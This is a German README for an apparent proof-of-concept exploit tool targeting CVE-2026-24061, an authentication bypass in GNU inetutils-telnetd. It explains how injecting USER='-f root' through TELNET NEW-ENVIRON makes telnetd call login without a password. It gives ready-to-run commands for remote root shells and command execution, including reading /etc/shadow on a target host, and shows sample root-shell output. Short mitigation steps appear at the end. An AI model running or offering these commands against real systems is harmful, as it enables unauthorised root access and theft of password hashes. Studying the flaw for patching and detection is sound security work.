
inetutils-telnetd Authentifizierungsumgehung - funktionsfähig
Ein Proof-of-Concept-Exploit für die Authentifizierungs-Bypass-Schwachstelle in GNU inetutils-telnetd.
CVE-2026-24061 ist eine kritische Authentifizierungs-Bypass-Schwachstelle, die inetutils-telnetd in den Versionen 1.9.3 bis 2.7 betrifft. Sie ermöglicht einem entfernten Angreifer, ohne Angabe von Anmeldeinformationen eine Root-Shell auf verwundbaren Systemen zu erhalten.
| Feld | Wert |
|---|
| CVE-ID | CVE-2026-24061 |
| Betroffene Software | GNU inetutils-telnetd |
| Betroffene Versionen | 1.9.3 – 2.7 |
| Schwachstellentyp | Authentifizierungs-Bypass |
| CVSS-Score | Kritisch |
| Angriffsvektor | Netzwerk |
Die Schwachstelle nutzt einen Fehler in der Art und Weise, wie telnetd die über die TELNET-NEW-ENVIRON-Option (RFC 1572) während der Protokollaushandlung empfangene Umgebungsvariable USER verarbeitet.
TELNET-Protokollaushandlung: Wenn ein Client eine Verbindung herstellt, handeln Server und Client Fähigkeiten aus, einschließlich der NEW-ENVIRON-Option, die es dem Client ermöglicht, Umgebungsvariablen zu senden.
Bösartiger USER-Wert: Der Exploit sendet USER=-f root als Umgebungsvariable während dieser Aushandlungsphase.
Unsicheres Übergeben von Argumenten: Das verwundbare telnetd übergibt diesen Wert unbereinigt an das Programm login.
Befehlsinjektion: Das Programm login interpretiert -f root als Befehlszeilen-Flags:
-f = „Login ohne Authentifizierung erzwingen“root = der Benutzername, mit dem angemeldet werden sollRoot-Zugriff: Der Angreifer erhält eine Root-Shell, ohne jemals nach einem Passwort gefragt zu werden.
Client sendet: USER = "-f root"
telnetd führt aus: login -f root
Ergebnis: Root-Shell ohne Authentifizierung gewährt
Dies entspricht der Ausführung von USER='-f root' telnet -a localhost auf einem System mit einem verwundbaren telnetd.
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py
./exploit.py [OPTIONEN] <ziel>
| Option | Beschreibung | Standard |
|---|---|---|
host | Ziel-Hostname oder IP-Adresse | Erforderlich |
-p, --port | Ziel-Port | 23 |
-u, --user | Zu injizierender USER-Wert | -f root |
-c, --command | Einzelnen Befehl ausführen (nicht-interaktiv) | Keiner |
-t, --timeout | Verbindungs-Timeout in Sekunden | 10 |
Interaktive Root-Shell auf localhost:
./exploit.py localhost
Interaktive Root-Shell auf entferntem Host:
./exploit.py 192.168.1.100
Einzelnen Befehl ausführen und beenden:
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local
Als anderer Benutzer anmelden:
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server
Nicht standardmäßiger Port:
./exploit.py -p 2323 localhost
Optionen kombinieren:
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100
Wenn ohne das Flag -c ausgeführt, bringt Sie der Exploit in eine interaktive Shell:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - inetutils-telnetd Authentication Bypass ║
║ Affects: inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] Connected to 192.168.1.100:23
[*] Negotiating TELNET options...
[*] Agreed to NEW-ENVIRON (sending USER='-f root')
[+] Sent USER='-f root' via NEW-ENVIRON
Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux
root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~#
telnetd deaktivieren: Wenn nicht unbedingt erforderlich, den Telnet-Dienst vollständig deaktivieren
sudo systemctl stop inetutils-telnetd
sudo systemctl disable inetutils-telnetd
SSH stattdessen verwenden: Telnet für den Fernzugriff durch SSH ersetzen
sudo apt install openssh-server
Firewall-Regeln: Port 23 für nicht vertrauenswürdige Netzwerke blockieren
sudo ufw deny 23/tcp
Der Exploit implementiert einen minimalen TELNET-Client, der:
USER=-f root in der ENV_IS-AntwortDieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
MIT-Lizenz — Siehe LICENSE für Details.